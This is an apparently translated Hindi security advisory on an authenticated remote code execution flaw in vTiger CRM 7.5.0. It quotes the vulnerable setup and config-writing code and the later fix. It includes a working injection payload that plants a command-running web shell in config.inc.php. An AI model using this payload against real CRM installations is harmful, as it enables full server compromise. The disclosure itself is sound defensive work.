
प्रमाणित Remote Code Execution में में VTiger Open Source CRM v7.5
VTiger ओपन सोर्स CRM v7.5 में प्रमाणित रिमोट कोड निष्पादन
VTiger CRM ओपन सोर्स संस्करण 7.5.0 के वर्तमान रिलीज़ में Users मॉड्यूल में एक भेद्यता मौजूद है, जो एक प्रमाणित हमलावर को config.inc.php में मनमाना PHP कोड लिखने और निष्पादित करने की अनुमति देती है।
जब कोई उपयोगकर्ता सामान्यतः VTiger में प्रमाणित होता है, तो यह उसकी सेटअप स्थिति की जाँच करता है कि क्या यह एक नया उपयोगकर्ता है जो अभी तक पूरी तरह कॉन्फ़िगर नहीं हुआ है। यह यह भी जाँचता है कि क्या यह पहला उपयोगकर्ता है, जिसका अर्थ है एक व्यवस्थापक जो कुछ वैश्विक गुणों को कॉन्फ़िगर करे। यदि ऐसा है, तो उन्हें Users मॉड्यूल में UserSetup क्रिया पर रीडायरेक्ट किया जाता है।
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users');
$isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
/modules/Users/Authenticate.php, पंक्ति 112
इस क्रिया में यह जाँच करने के लिए एक जाँच है कि क्या उपयोगकर्ता ने एक वैश्विक मुद्रा सेटिंग ("USA, Dollars" डिफ़ॉल्ट रूप से) पारित की है और इसे updateBaseCurrency फ़ंक्शन का उपयोग करके सहेजता है।
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName);
$userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId());
//End
/modules/Users/actions/UserSetupSave.php, पंक्ति 28
updateBaseCurrency फ़ंक्शन में, प्रदान किया गया मान डेटाबेस में पूरे सिस्टम के लिए वैश्विक मुद्रा सेटिंग के रूप में सेट किया जाता है और यह updateConfigFile फ़ंक्शन को भी कॉल करता है, जो कॉन्फ़िग फ़ाइल को खोलता है और मौजूदा मान को प्रदान किए गए मान से बदलने के लिए PHP str_replace का उपयोग करता है।
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name =
\''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
}
}
/modules/Users/models/Module.php, पंक्ति 148
VTiger CRM के वर्तमान संस्करण में उपयोगकर्ता सेटअप क्रिया यह जाँच नहीं करती है कि उपयोगकर्ता वास्तव में सेटअप है या नहीं, या वैश्विक चर बदलने की अनुमति है या नहीं। यह केवल मान लेती है कि यदि आप उस पृष्ठ तक पहुँच रहे हैं तो आप वह व्यक्ति हैं जिसे इसे कॉन्फ़िगर करना चाहिए। इसलिए, एक मौजूदा सत्र कुकी और किसी भी प्रमाणित पृष्ठ लोड से लिए गए CSRF टोकन का उपयोग करके, एक दुर्भावनापूर्ण उपयोगकर्ता एक मुद्रा मान जैसे:
USA, Dollars';@passthru($_GET['cmd']);//
इस मान को फिर आँख बंद करके config.inc.php फ़ाइल में इस प्रकार लिखा जाता है:
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
चूँकि कॉन्फ़िग फ़ाइल प्रत्येक पृष्ठ पर लोड होती है, एक दुर्भावनापूर्ण उपयोगकर्ता cmd पैरामीटर के रूप में एक यूनिक्स कमांड पास कर सकता है और पृष्ठ के शीर्ष पर आउटपुट देख सकता है।

यह समस्या इस कमिट में ठीक की गई थी, जहाँ अतिरिक्त सत्यापन जोड़ा गया था ताकि यह सुनिश्चित किया जा सके कि उपयोगकर्ताओं द्वारा दुर्भावनापूर्ण मुद्रा नाम दर्ज नहीं किए जा सकते हैं, और इसके बजाय मान डेटाबेस तालिका से खींचा जाएगा।
public function updateBaseCurrency($currencyName) {
$db = PearDatabase::getInstance();
$result = $db->pquery('SELECT currency_code, currency_symbol, currency_name FROM vtiger_currencies WHERE currency_name = ?', array($currencyName));
$num_rows = $db->num_rows($result);
if ($num_rows > 0) {
$currency_code = decode_html($db->query_result($result, 0, 'currency_code'));
$currency_symbol = decode_html($db->query_result($result, 0,'currency_symbol'));
$currencyName = decode_html($db->query_result($result, 0, 'currency_name')); // rewrite actual from table.
} else {
// Invalid currency name.
return;
}
$this->updateConfigFile($currencyName);
//Updating Database
$query = 'UPDATE vtiger_currency_info SET currency_name = ?, currency_code = ?, currency_symbol = ? WHERE id = ?';
$params = array($currencyName, $currency_code, $currency_symbol, '1');
$db->pquery($query, $params);
}